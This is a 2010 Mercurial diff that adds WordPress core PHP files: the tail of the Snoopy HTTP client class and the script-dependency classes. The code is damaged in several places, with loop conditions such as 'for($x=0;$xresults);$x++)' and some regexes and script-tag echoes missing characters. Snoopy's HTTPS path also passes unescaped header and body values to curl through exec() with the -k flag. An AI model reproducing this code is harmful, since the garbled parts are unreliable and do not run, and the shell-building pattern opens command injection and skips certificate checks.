each($frameurls)) + { + if($this->_framedepth < $this->maxframes) + { + $this->fetch($frameurl); + $this->_framedepth++; + } + else + break; + } + } + return true; + break; + default: + // not a valid protocol + $this->error = 'Invalid protocol "'.$URI_PARTS["scheme"].'"\n'; + return false; + break; + } + return true; + } + +/*======================================================================*\ + Function: submit + Purpose: submit an http form + Input: $URI the location to post the data + $formvars the formvars to use. + format: $formvars["var"] = "val"; + $formfiles an array of files to submit + format: $formfiles["var"] = "/dir/filename.ext"; + Output: $this->results the text output from the post +\*======================================================================*/ + + function submit($URI, $formvars="", $formfiles="") + { + unset($postdata); + + $postdata = $this->_prepare_post_body($formvars, $formfiles); + + $URI_PARTS = parse_url($URI); + if (!empty($URI_PARTS["user"])) + $this->user = $URI_PARTS["user"]; + if (!empty($URI_PARTS["pass"])) + $this->pass = $URI_PARTS["pass"]; + if (empty($URI_PARTS["query"])) + $URI_PARTS["query"] = ''; + if (empty($URI_PARTS["path"])) + $URI_PARTS["path"] = ''; + + switch(strtolower($URI_PARTS["scheme"])) + { + case "http": + $this->host = $URI_PARTS["host"]; + if(!empty($URI_PARTS["port"])) + $this->port = $URI_PARTS["port"]; + if($this->_connect($fp)) + { + if($this->_isproxy) + { + // using proxy, send entire URI + $this->_httprequest($URI,$fp,$URI,$this->_submit_method,$this->_submit_type,$postdata); + } + else + { + $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); + // no proxy, send only the path + $this->_httprequest($path, $fp, $URI, $this->_submit_method, $this->_submit_type, $postdata); + } + + $this->_disconnect($fp); + + if($this->_redirectaddr) + { + /* url was redirected, check if we've hit the max depth */ + if($this->maxredirs > $this->_redirectdepth) + { + if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr)) + $this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]); + + // only follow redirect if it's on this site, or offsiteok is true + if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok) + { + /* follow the redirect */ + $this->_redirectdepth++; + $this->lastredirectaddr=$this->_redirectaddr; + if( strpos( $this->_redirectaddr, "?" ) > 0 ) + $this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get + else + $this->submit($this->_redirectaddr,$formvars, $formfiles); + } + } + } + + if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0) + { + $frameurls = $this->_frameurls; + $this->_frameurls = array(); + + while(list(,$frameurl) = each($frameurls)) + { + if($this->_framedepth < $this->maxframes) + { + $this->fetch($frameurl); + $this->_framedepth++; + } + else + break; + } + } + + } + else + { + return false; + } + return true; + break; + case "https": + if(!$this->curl_path) + return false; + if(function_exists("is_executable")) + if (!is_executable($this->curl_path)) + return false; + $this->host = $URI_PARTS["host"]; + if(!empty($URI_PARTS["port"])) + $this->port = $URI_PARTS["port"]; + if($this->_isproxy) + { + // using proxy, send entire URI + $this->_httpsrequest($URI, $URI, $this->_submit_method, $this->_submit_type, $postdata); + } + else + { + $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); + // no proxy, send only the path + $this->_httpsrequest($path, $URI, $this->_submit_method, $this->_submit_type, $postdata); + } + + if($this->_redirectaddr) + { + /* url was redirected, check if we've hit the max depth */ + if($this->maxredirs > $this->_redirectdepth) + { + if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr)) + $this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]); + + // only follow redirect if it's on this site, or offsiteok is true + if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok) + { + /* follow the redirect */ + $this->_redirectdepth++; + $this->lastredirectaddr=$this->_redirectaddr; + if( strpos( $this->_redirectaddr, "?" ) > 0 ) + $this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get + else + $this->submit($this->_redirectaddr,$formvars, $formfiles); + } + } + } + + if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0) + { + $frameurls = $this->_frameurls; + $this->_frameurls = array(); + + while(list(,$frameurl) = each($frameurls)) + { + if($this->_framedepth < $this->maxframes) + { + $this->fetch($frameurl); + $this->_framedepth++; + } + else + break; + } + } + return true; + break; + + default: + // not a valid protocol + $this->error = 'Invalid protocol "'.$URI_PARTS["scheme"].'"\n'; + return false; + break; + } + return true; + } + +/*======================================================================*\ + Function: fetchlinks + Purpose: fetch the links from a web page + Input: $URI where you are fetching from + Output: $this->results an array of the URLs +\*======================================================================*/ + + function fetchlinks($URI) + { + if ($this->fetch($URI)) + { + if($this->lastredirectaddr) + $URI = $this->lastredirectaddr; + if(is_array($this->results)) + { + for($x=0;$xresults);$x++) + $this->results[$x] = $this->_striplinks($this->results[$x]); + } + else + $this->results = $this->_striplinks($this->results); + + if($this->expandlinks) + $this->results = $this->_expandlinks($this->results, $URI); + return true; + } + else + return false; + } + +/*======================================================================*\ + Function: fetchform + Purpose: fetch the form elements from a web page + Input: $URI where you are fetching from + Output: $this->results the resulting html form +\*======================================================================*/ + + function fetchform($URI) + { + + if ($this->fetch($URI)) + { + + if(is_array($this->results)) + { + for($x=0;$xresults);$x++) + $this->results[$x] = $this->_stripform($this->results[$x]); + } + else + $this->results = $this->_stripform($this->results); + + return true; + } + else + return false; + } + + +/*======================================================================*\ + Function: fetchtext + Purpose: fetch the text from a web page, stripping the links + Input: $URI where you are fetching from + Output: $this->results the text from the web page +\*======================================================================*/ + + function fetchtext($URI) + { + if($this->fetch($URI)) + { + if(is_array($this->results)) + { + for($x=0;$xresults);$x++) + $this->results[$x] = $this->_striptext($this->results[$x]); + } + else + $this->results = $this->_striptext($this->results); + return true; + } + else + return false; + } + +/*======================================================================*\ + Function: submitlinks + Purpose: grab links from a form submission + Input: $URI where you are submitting from + Output: $this->results an array of the links from the post +\*======================================================================*/ + + function submitlinks($URI, $formvars="", $formfiles="") + { + if($this->submit($URI,$formvars, $formfiles)) + { + if($this->lastredirectaddr) + $URI = $this->lastredirectaddr; + if(is_array($this->results)) + { + for($x=0;$xresults);$x++) + { + $this->results[$x] = $this->_striplinks($this->results[$x]); + if($this->expandlinks) + $this->results[$x] = $this->_expandlinks($this->results[$x],$URI); + } + } + else + { + $this->results = $this->_striplinks($this->results); + if($this->expandlinks) + $this->results = $this->_expandlinks($this->results,$URI); + } + return true; + } + else + return false; + } + +/*======================================================================*\ + Function: submittext + Purpose: grab text from a form submission + Input: $URI where you are submitting from + Output: $this->results the text from the web page +\*======================================================================*/ + + function submittext($URI, $formvars = "", $formfiles = "") + { + if($this->submit($URI,$formvars, $formfiles)) + { + if($this->lastredirectaddr) + $URI = $this->lastredirectaddr; + if(is_array($this->results)) + { + for($x=0;$xresults);$x++) + { + $this->results[$x] = $this->_striptext($this->results[$x]); + if($this->expandlinks) + $this->results[$x] = $this->_expandlinks($this->results[$x],$URI); + } + } + else + { + $this->results = $this->_striptext($this->results); + if($this->expandlinks) + $this->results = $this->_expandlinks($this->results,$URI); + } + return true; + } + else + return false; + } + + + +/*======================================================================*\ + Function: set_submit_multipart + Purpose: Set the form submission content type to + multipart/form-data +\*======================================================================*/ + function set_submit_multipart() + { + $this->_submit_type = "multipart/form-data"; + } + + +/*======================================================================*\ + Function: set_submit_normal + Purpose: Set the form submission content type to + application/x-www-form-urlencoded +\*======================================================================*/ + function set_submit_normal() + { + $this->_submit_type = "application/x-www-form-urlencoded"; + } + + + + +/*======================================================================*\ + Private functions +\*======================================================================*/ + + +/*======================================================================*\ + Function: _striplinks + Purpose: strip the hyperlinks from an html document + Input: $document document to strip. + Output: $match an array of the links +\*======================================================================*/ + + function _striplinks($document) + { + preg_match_all("'<\s*a\s.*?href\s*=\s* # find ]+)) # if quote found, match up to next matching + # quote, otherwise match up to next space + 'isx",$document,$links); + + + // catenate the non-empty matches from the conditional subpattern + + while(list($key,$val) = each($links[2])) + { + if(!empty($val)) + $match[] = $val; + } + + while(list($key,$val) = each($links[3])) + { + if(!empty($val)) + $match[] = $val; + } + + // return the links + return $match; + } + +/*======================================================================*\ + Function: _stripform + Purpose: strip the form elements from an html document + Input: $document document to strip. + Output: $match an array of the links +\*======================================================================*/ + + function _stripform($document) + { + preg_match_all("'<\/?(FORM|INPUT|SELECT|TEXTAREA|(OPTION))[^<>]*>(?(2)(.*(?=<\/?(option|select)[^<>]*>[\r\n]*)|(?=[\r\n]*))|(?=[\r\n]*))'Usi",$document,$elements); + + // catenate the matches + $match = implode("\r\n",$elements[0]); + + // return the links + return $match; + } + + + +/*======================================================================*\ + Function: _striptext + Purpose: strip the text from an html document + Input: $document document to strip. + Output: $text the resulting text +\*======================================================================*/ + + function _striptext($document) + { + + // I didn't use preg eval (//e) since that is only available in PHP 4.0. + // so, list your entities one by one here. I included some of the + // more common ones. + + $search = array("']*?>.*?'si", // strip out javascript + "'<[\/\!]*?[^<>]*?>'si", // strip out html tags + "'([\r\n])[\s]+'", // strip out white space + "'&(quot|#34|#034|#x22);'i", // replace html entities + "'&(amp|#38|#038|#x26);'i", // added hexadecimal values + "'&(lt|#60|#060|#x3c);'i", + "'&(gt|#62|#062|#x3e);'i", + "'&(nbsp|#160|#xa0);'i", + "'&(iexcl|#161);'i", + "'&(cent|#162);'i", + "'&(pound|#163);'i", + "'&(copy|#169);'i", + "'&(reg|#174);'i", + "'&(deg|#176);'i", + "'&(#39|#039|#x27);'", + "'&(euro|#8364);'i", // europe + "'&a(uml|UML);'", // german + "'&o(uml|UML);'", + "'&u(uml|UML);'", + "'&A(uml|UML);'", + "'&O(uml|UML);'", + "'&U(uml|UML);'", + "'ß'i", + ); + $replace = array( "", + "", + "\\1", + "\"", + "&", + "<", + ">", + " ", + chr(161), + chr(162), + chr(163), + chr(169), + chr(174), + chr(176), + chr(39), + chr(128), + "ä", + "ö", + "ü", + "Ä", + "Ö", + "Ü", + "ß", + ); + + $text = preg_replace($search,$replace,$document); + + return $text; + } + +/*======================================================================*\ + Function: _expandlinks + Purpose: expand each link into a fully qualified URL + Input: $links the links to qualify + $URI the full URI to get the base from + Output: $expandedLinks the expanded links +\*======================================================================*/ + + function _expandlinks($links,$URI) + { + + preg_match("/^[^\?]+/",$URI,$match); + + $match = preg_replace("|/[^\/\.]+\.[^\/\.]+$|","",$match[0]); + $match = preg_replace("|/$|","",$match); + $match_part = parse_url($match); + $match_root = + $match_part["scheme"]."://".$match_part["host"]; + + $search = array( "|^http://".preg_quote($this->host)."|i", + "|^(\/)|i", + "|^(?!http://)(?!mailto:)|i", + "|/\./|", + "|/[^\/]+/\.\./|" + ); + + $replace = array( "", + $match_root."/", + $match."/", + "/", + "/" + ); + + $expandedLinks = preg_replace($search,$replace,$links); + + return $expandedLinks; + } + +/*======================================================================*\ + Function: _httprequest + Purpose: go get the http data from the server + Input: $url the url to fetch + $fp the current open file pointer + $URI the full URI + $body body contents to send if any (POST) + Output: +\*======================================================================*/ + + function _httprequest($url,$fp,$URI,$http_method,$content_type="",$body="") + { + $cookie_headers = ''; + if($this->passcookies && $this->_redirectaddr) + $this->setcookies(); + + $URI_PARTS = parse_url($URI); + if(empty($url)) + $url = "/"; + $headers = $http_method." ".$url." ".$this->_httpversion."\r\n"; + if(!empty($this->agent)) + $headers .= "User-Agent: ".$this->agent."\r\n"; + if(!empty($this->host) && !isset($this->rawheaders['Host'])) { + $headers .= "Host: ".$this->host; + if(!empty($this->port) && $this->port != 80) + $headers .= ":".$this->port; + $headers .= "\r\n"; + } + if(!empty($this->accept)) + $headers .= "Accept: ".$this->accept."\r\n"; + if(!empty($this->referer)) + $headers .= "Referer: ".$this->referer."\r\n"; + if(!empty($this->cookies)) + { + if(!is_array($this->cookies)) + $this->cookies = (array)$this->cookies; + + reset($this->cookies); + if ( count($this->cookies) > 0 ) { + $cookie_headers .= 'Cookie: '; + foreach ( $this->cookies as $cookieKey => $cookieVal ) { + $cookie_headers .= $cookieKey."=".urlencode($cookieVal)."; "; + } + $headers .= substr($cookie_headers,0,-2) . "\r\n"; + } + } + if(!empty($this->rawheaders)) + { + if(!is_array($this->rawheaders)) + $this->rawheaders = (array)$this->rawheaders; + while(list($headerKey,$headerVal) = each($this->rawheaders)) + $headers .= $headerKey.": ".$headerVal."\r\n"; + } + if(!empty($content_type)) { + $headers .= "Content-type: $content_type"; + if ($content_type == "multipart/form-data") + $headers .= "; boundary=".$this->_mime_boundary; + $headers .= "\r\n"; + } + if(!empty($body)) + $headers .= "Content-length: ".strlen($body)."\r\n"; + if(!empty($this->user) || !empty($this->pass)) + $headers .= "Authorization: Basic ".base64_encode($this->user.":".$this->pass)."\r\n"; + + //add proxy auth headers + if(!empty($this->proxy_user)) + $headers .= 'Proxy-Authorization: ' . 'Basic ' . base64_encode($this->proxy_user . ':' . $this->proxy_pass)."\r\n"; + + + $headers .= "\r\n"; + + // set the read timeout if needed + if ($this->read_timeout > 0) + socket_set_timeout($fp, $this->read_timeout); + $this->timed_out = false; + + fwrite($fp,$headers.$body,strlen($headers.$body)); + + $this->_redirectaddr = false; + unset($this->headers); + + while($currentHeader = fgets($fp,$this->_maxlinelen)) + { + if ($this->read_timeout > 0 && $this->_check_timeout($fp)) + { + $this->status=-100; + return false; + } + + if($currentHeader == "\r\n") + break; + + // if a header begins with Location: or URI:, set the redirect + if(preg_match("/^(Location:|URI:)/i",$currentHeader)) + { + // get URL portion of the redirect + preg_match("/^(Location:|URI:)[ ]+(.*)/i",chop($currentHeader),$matches); + // look for :// in the Location header to see if hostname is included + if(!preg_match("|\:\/\/|",$matches[2])) + { + // no host in the path, so prepend + $this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port; + // eliminate double slash + if(!preg_match("|^/|",$matches[2])) + $this->_redirectaddr .= "/".$matches[2]; + else + $this->_redirectaddr .= $matches[2]; + } + else + $this->_redirectaddr = $matches[2]; + } + + if(preg_match("|^HTTP/|",$currentHeader)) + { + if(preg_match("|^HTTP/[^\s]*\s(.*?)\s|",$currentHeader, $status)) + { + $this->status= $status[1]; + } + $this->response_code = $currentHeader; + } + + $this->headers[] = $currentHeader; + } + + $results = ''; + do { + $_data = fread($fp, $this->maxlength); + if (strlen($_data) == 0) { + break; + } + $results .= $_data; + } while(true); + + if ($this->read_timeout > 0 && $this->_check_timeout($fp)) + { + $this->status=-100; + return false; + } + + // check if there is a a redirect meta tag + + if(preg_match("']*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match)) + + { + $this->_redirectaddr = $this->_expandlinks($match[1],$URI); + } + + // have we hit our frame depth and is there frame src to fetch? + if(($this->_framedepth < $this->maxframes) && preg_match_all("']+)'i",$results,$match)) + { + $this->results[] = $results; + for($x=0; $x_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host); + } + // have we already fetched framed content? + elseif(is_array($this->results)) + $this->results[] = $results; + // no framed content + else + $this->results = $results; + + return true; + } + +/*======================================================================*\ + Function: _httpsrequest + Purpose: go get the https data from the server using curl + Input: $url the url to fetch + $URI the full URI + $body body contents to send if any (POST) + Output: +\*======================================================================*/ + + function _httpsrequest($url,$URI,$http_method,$content_type="",$body="") + { + if($this->passcookies && $this->_redirectaddr) + $this->setcookies(); + + $headers = array(); + + $URI_PARTS = parse_url($URI); + if(empty($url)) + $url = "/"; + // GET ... header not needed for curl + //$headers[] = $http_method." ".$url." ".$this->_httpversion; + if(!empty($this->agent)) + $headers[] = "User-Agent: ".$this->agent; + if(!empty($this->host)) + if(!empty($this->port)) + $headers[] = "Host: ".$this->host.":".$this->port; + else + $headers[] = "Host: ".$this->host; + if(!empty($this->accept)) + $headers[] = "Accept: ".$this->accept; + if(!empty($this->referer)) + $headers[] = "Referer: ".$this->referer; + if(!empty($this->cookies)) + { + if(!is_array($this->cookies)) + $this->cookies = (array)$this->cookies; + + reset($this->cookies); + if ( count($this->cookies) > 0 ) { + $cookie_str = 'Cookie: '; + foreach ( $this->cookies as $cookieKey => $cookieVal ) { + $cookie_str .= $cookieKey."=".urlencode($cookieVal)."; "; + } + $headers[] = substr($cookie_str,0,-2); + } + } + if(!empty($this->rawheaders)) + { + if(!is_array($this->rawheaders)) + $this->rawheaders = (array)$this->rawheaders; + while(list($headerKey,$headerVal) = each($this->rawheaders)) + $headers[] = $headerKey.": ".$headerVal; + } + if(!empty($content_type)) { + if ($content_type == "multipart/form-data") + $headers[] = "Content-type: $content_type; boundary=".$this->_mime_boundary; + else + $headers[] = "Content-type: $content_type"; + } + if(!empty($body)) + $headers[] = "Content-length: ".strlen($body); + if(!empty($this->user) || !empty($this->pass)) + $headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass); + + for($curr_header = 0; $curr_header < count($headers); $curr_header++) { + $safer_header = strtr( $headers[$curr_header], "\"", " " ); + $cmdline_params .= " -H \"".$safer_header."\""; + } + + if(!empty($body)) + $cmdline_params .= " -d \"$body\""; + + if($this->read_timeout > 0) + $cmdline_params .= " -m ".$this->read_timeout; + + $headerfile = tempnam($temp_dir, "sno"); + + exec($this->curl_path." -k -D \"$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return); + + if($return) + { + $this->error = "Error: cURL could not retrieve the document, error $return."; + return false; + } + + + $results = implode("\r\n",$results); + + $result_headers = file("$headerfile"); + + $this->_redirectaddr = false; + unset($this->headers); + + for($currentHeader = 0; $currentHeader < count($result_headers); $currentHeader++) + { + + // if a header begins with Location: or URI:, set the redirect + if(preg_match("/^(Location: |URI: )/i",$result_headers[$currentHeader])) + { + // get URL portion of the redirect + preg_match("/^(Location: |URI:)\s+(.*)/",chop($result_headers[$currentHeader]),$matches); + // look for :// in the Location header to see if hostname is included + if(!preg_match("|\:\/\/|",$matches[2])) + { + // no host in the path, so prepend + $this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port; + // eliminate double slash + if(!preg_match("|^/|",$matches[2])) + $this->_redirectaddr .= "/".$matches[2]; + else + $this->_redirectaddr .= $matches[2]; + } + else + $this->_redirectaddr = $matches[2]; + } + + if(preg_match("|^HTTP/|",$result_headers[$currentHeader])) + $this->response_code = $result_headers[$currentHeader]; + + $this->headers[] = $result_headers[$currentHeader]; + } + + // check if there is a a redirect meta tag + + if(preg_match("']*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match)) + { + $this->_redirectaddr = $this->_expandlinks($match[1],$URI); + } + + // have we hit our frame depth and is there frame src to fetch? + if(($this->_framedepth < $this->maxframes) && preg_match_all("']+)'i",$results,$match)) + { + $this->results[] = $results; + for($x=0; $x_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host); + } + // have we already fetched framed content? + elseif(is_array($this->results)) + $this->results[] = $results; + // no framed content + else + $this->results = $results; + + unlink("$headerfile"); + + return true; + } + +/*======================================================================*\ + Function: setcookies() + Purpose: set cookies for a redirection +\*======================================================================*/ + + function setcookies() + { + for($x=0; $xheaders); $x++) + { + if(preg_match('/^set-cookie:[\s]+([^=]+)=([^;]+)/i', $this->headers[$x],$match)) + $this->cookies[$match[1]] = urldecode($match[2]); + } + } + + +/*======================================================================*\ + Function: _check_timeout + Purpose: checks whether timeout has occurred + Input: $fp file pointer +\*======================================================================*/ + + function _check_timeout($fp) + { + if ($this->read_timeout > 0) { + $fp_status = socket_get_status($fp); + if ($fp_status["timed_out"]) { + $this->timed_out = true; + return true; + } + } + return false; + } + +/*======================================================================*\ + Function: _connect + Purpose: make a socket connection + Input: $fp file pointer +\*======================================================================*/ + + function _connect(&$fp) + { + if(!empty($this->proxy_host) && !empty($this->proxy_port)) + { + $this->_isproxy = true; + + $host = $this->proxy_host; + $port = $this->proxy_port; + } + else + { + $host = $this->host; + $port = $this->port; + } + + $this->status = 0; + + if($fp = fsockopen( + $host, + $port, + $errno, + $errstr, + $this->_fp_timeout + )) + { + // socket connection succeeded + + return true; + } + else + { + // socket connection failed + $this->status = $errno; + switch($errno) + { + case -3: + $this->error="socket creation failed (-3)"; + case -4: + $this->error="dns lookup failure (-4)"; + case -5: + $this->error="connection refused or timed out (-5)"; + default: + $this->error="connection failed (".$errno.")"; + } + return false; + } + } +/*======================================================================*\ + Function: _disconnect + Purpose: disconnect a socket connection + Input: $fp file pointer +\*======================================================================*/ + + function _disconnect($fp) + { + return(fclose($fp)); + } + + +/*======================================================================*\ + Function: _prepare_post_body + Purpose: Prepare post body according to encoding type + Input: $formvars - form variables + $formfiles - form upload files + Output: post body +\*======================================================================*/ + + function _prepare_post_body($formvars, $formfiles) + { + settype($formvars, "array"); + settype($formfiles, "array"); + $postdata = ''; + + if (count($formvars) == 0 && count($formfiles) == 0) + return; + + switch ($this->_submit_type) { + case "application/x-www-form-urlencoded": + reset($formvars); + while(list($key,$val) = each($formvars)) { + if (is_array($val) || is_object($val)) { + while (list($cur_key, $cur_val) = each($val)) { + $postdata .= urlencode($key)."[]=".urlencode($cur_val)."&"; + } + } else + $postdata .= urlencode($key)."=".urlencode($val)."&"; + } + break; + + case "multipart/form-data": + $this->_mime_boundary = "Snoopy".md5(uniqid(microtime())); + + reset($formvars); + while(list($key,$val) = each($formvars)) { + if (is_array($val) || is_object($val)) { + while (list($cur_key, $cur_val) = each($val)) { + $postdata .= "--".$this->_mime_boundary."\r\n"; + $postdata .= "Content-Disposition: form-data; name=\"$key\[\]\"\r\n\r\n"; + $postdata .= "$cur_val\r\n"; + } + } else { + $postdata .= "--".$this->_mime_boundary."\r\n"; + $postdata .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n"; + $postdata .= "$val\r\n"; + } + } + + reset($formfiles); + while (list($field_name, $file_names) = each($formfiles)) { + settype($file_names, "array"); + while (list(, $file_name) = each($file_names)) { + if (!is_readable($file_name)) continue; + + $fp = fopen($file_name, "r"); + $file_content = fread($fp, filesize($file_name)); + fclose($fp); + $base_name = basename($file_name); + + $postdata .= "--".$this->_mime_boundary."\r\n"; + $postdata .= "Content-Disposition: form-data; name=\"$field_name\"; filename=\"$base_name\"\r\n\r\n"; + $postdata .= "$file_content\r\n"; + } + } + $postdata .= "--".$this->_mime_boundary."--\r\n"; + break; + } + + return $postdata; + } +} +endif; +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/class.wp-dependencies.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/class.wp-dependencies.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,245 @@ +queue : (array) $handles; + $this->all_deps( $handles ); + + foreach( $this->to_do as $key => $handle ) { + if ( !in_array($handle, $this->done) && isset($this->registered[$handle]) ) { + + if ( ! $this->registered[$handle]->src ) { // Defines a group. + $this->done[] = $handle; + continue; + } + + if ( $this->do_item( $handle, $group ) ) + $this->done[] = $handle; + + unset( $this->to_do[$key] ); + } + } + + return $this->done; + } + + function do_item( $handle ) { + return isset($this->registered[$handle]); + } + + /** + * Determines dependencies + * + * Recursively builds array of items to process taking dependencies into account. Does NOT catch infinite loops. + * + + * @param mixed handles Accepts (string) dep name or (array of strings) dep names + * @param bool recursion Used internally when function calls itself + */ + function all_deps( $handles, $recursion = false, $group = false ) { + if ( !$handles = (array) $handles ) + return false; + + foreach ( $handles as $handle ) { + $handle_parts = explode('?', $handle); + $handle = $handle_parts[0]; + $queued = in_array($handle, $this->to_do, true); + + if ( in_array($handle, $this->done, true) ) // Already done + continue; + + $moved = $this->set_group( $handle, $recursion, $group ); + + if ( $queued && !$moved ) // already queued and in the right group + continue; + + $keep_going = true; + if ( !isset($this->registered[$handle]) ) + $keep_going = false; // Script doesn't exist + elseif ( $this->registered[$handle]->deps && array_diff($this->registered[$handle]->deps, array_keys($this->registered)) ) + $keep_going = false; // Script requires deps which don't exist (not a necessary check. efficiency?) + elseif ( $this->registered[$handle]->deps && !$this->all_deps( $this->registered[$handle]->deps, true, $group ) ) + $keep_going = false; // Script requires deps which don't exist + + if ( !$keep_going ) { // Either script or its deps don't exist. + if ( $recursion ) + return false; // Abort this branch. + else + continue; // We're at the top level. Move on to the next one. + } + + if ( $queued ) // Already grobbed it and its deps + continue; + + if ( isset($handle_parts[1]) ) + $this->args[$handle] = $handle_parts[1]; + + $this->to_do[] = $handle; + } + + return true; + } + + /** + * Adds item + * + * Adds the item only if no item of that name already exists + * + * @param string handle Script name + * @param string src Script url + * @param array deps (optional) Array of script names on which this script depends + * @param string ver (optional) Script version (used for cache busting) + * @return array Hierarchical array of dependencies + */ + function add( $handle, $src, $deps = array(), $ver = false, $args = null ) { + if ( isset($this->registered[$handle]) ) + return false; + $this->registered[$handle] = new _WP_Dependency( $handle, $src, $deps, $ver, $args ); + return true; + } + + /** + * Adds extra data + * + * Adds data only if script has already been added + * + * @param string handle Script name + * @param string data_name Name of object in which to store extra data + * @param array data Array of extra data + * @return bool success + */ + function add_data( $handle, $data_name, $data ) { + if ( !isset($this->registered[$handle]) ) + return false; + return $this->registered[$handle]->add_data( $data_name, $data ); + } + + function remove( $handles ) { + foreach ( (array) $handles as $handle ) + unset($this->registered[$handle]); + } + + function enqueue( $handles ) { + foreach ( (array) $handles as $handle ) { + $handle = explode('?', $handle); + if ( !in_array($handle[0], $this->queue) && isset($this->registered[$handle[0]]) ) { + $this->queue[] = $handle[0]; + if ( isset($handle[1]) ) + $this->args[$handle[0]] = $handle[1]; + } + } + } + + function dequeue( $handles ) { + foreach ( (array) $handles as $handle ) { + $handle = explode('?', $handle); + $key = array_search($handle[0], $this->queue); + if ( false !== $key ) { + unset($this->queue[$key]); + unset($this->args[$handle[0]]); + } + } + } + + function query( $handle, $list = 'registered' ) { // registered, queue, done, to_do + switch ( $list ) : + case 'registered': + case 'scripts': // back compat + if ( isset($this->registered[$handle]) ) + return $this->registered[$handle]; + break; + case 'to_print': // back compat + case 'printed': // back compat + if ( 'to_print' == $list ) + $list = 'to_do'; + else + $list = 'printed'; + default: + if ( in_array($handle, $this->$list) ) + return true; + break; + endswitch; + return false; + } + + function set_group( $handle, $recursion, $group ) { + $group = (int) $group; + + if ( $recursion ) + $group = min($this->group, $group); + else + $this->group = $group; + + if ( isset($this->groups[$handle]) && $this->groups[$handle] <= $group ) + return false; + + $this->groups[$handle] = $group; + return true; + } + +} + +class _WP_Dependency { + var $handle; + var $src; + var $deps = array(); + var $ver = false; + var $args = null; + + var $extra = array(); + + function _WP_Dependency() { + @list($this->handle, $this->src, $this->deps, $this->ver, $this->args) = func_get_args(); + if ( !is_array($this->deps) ) + $this->deps = array(); + if ( !$this->ver ) + $this->ver = false; + } + + function add_data( $name, $data ) { + if ( !is_scalar($name) ) + return false; + $this->extra[$name] = $data; + return true; + } +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/class.wp-scripts.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/class.wp-scripts.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,197 @@ +do_items( $handles, $group ); + } + + function print_scripts_l10n( $handle, $echo = true ) { + if ( empty($this->registered[$handle]->extra['l10n']) || empty($this->registered[$handle]->extra['l10n'][0]) || !is_array($this->registered[$handle]->extra['l10n'][1]) ) + return false; + + $object_name = $this->registered[$handle]->extra['l10n'][0]; + + $data = "var $object_name = {\n"; + $eol = ''; + foreach ( $this->registered[$handle]->extra['l10n'][1] as $var => $val ) { + if ( 'l10n_print_after' == $var ) { + $after = $val; + continue; + } + $data .= "$eol\t$var: \"" . esc_js( $val ) . '"'; + $eol = ",\n"; + } + $data .= "\n};\n"; + $data .= isset($after) ? "$after\n" : ''; + + if ( $echo ) { + echo "\n"; + return true; + } else { + return $data; + } + } + + function do_item( $handle, $group = false ) { + if ( !parent::do_item($handle) ) + return false; + + if ( 0 === $group && $this->groups[$handle] > 0 ) { + $this->in_footer[] = $handle; + return false; + } + + if ( false === $group && in_array($handle, $this->in_footer, true) ) + $this->in_footer = array_diff( $this->in_footer, (array) $handle ); + + $ver = $this->registered[$handle]->ver ? $this->registered[$handle]->ver : $this->default_version; + if ( isset($this->args[$handle]) ) + $ver .= '&' . $this->args[$handle]; + + $src = $this->registered[$handle]->src; + + if ( $this->do_concat ) { + $srce = apply_filters( 'script_loader_src', $src, $handle ); + if ( $this->in_default_dir($srce) ) { + $this->print_code .= $this->print_scripts_l10n( $handle, false ); + $this->concat .= "$handle,"; + $this->concat_version .= "$handle$ver"; + return true; + } else { + $this->ext_handles .= "$handle,"; + $this->ext_version .= "$handle$ver"; + } + } + + $this->print_scripts_l10n( $handle ); + if ( !preg_match('|^https?://|', $src) && ! ( $this->content_url && 0 === strpos($src, $this->content_url) ) ) { + $src = $this->base_url . $src; + } + + $src = add_query_arg('ver', $ver, $src); + $src = esc_url(apply_filters( 'script_loader_src', $src, $handle )); + + if ( $this->do_concat ) + $this->print_html .= "\n"; + else + echo "\n"; + + return true; + } + + /** + * Localizes a script + * + * Localizes only if script has already been added + * + * @param string handle Script name + * @param string object_name Name of JS object to hold l10n info + * @param array l10n Array of JS var name => localized string + * @return bool Successful localization + */ + function localize( $handle, $object_name, $l10n ) { + if ( !$object_name || !$l10n ) + return false; + return $this->add_data( $handle, 'l10n', array( $object_name, $l10n ) ); + } + + function set_group( $handle, $recursion, $group = false ) { + $grp = isset($this->registered[$handle]->extra['group']) ? (int) $this->registered[$handle]->extra['group'] : 0; + if ( false !== $group && $grp > $group ) + $grp = $group; + + return parent::set_group( $handle, $recursion, $grp ); + } + + function all_deps( $handles, $recursion = false, $group = false ) { + $r = parent::all_deps( $handles, $recursion ); + if ( !$recursion ) + $this->to_do = apply_filters( 'print_scripts_array', $this->to_do ); + 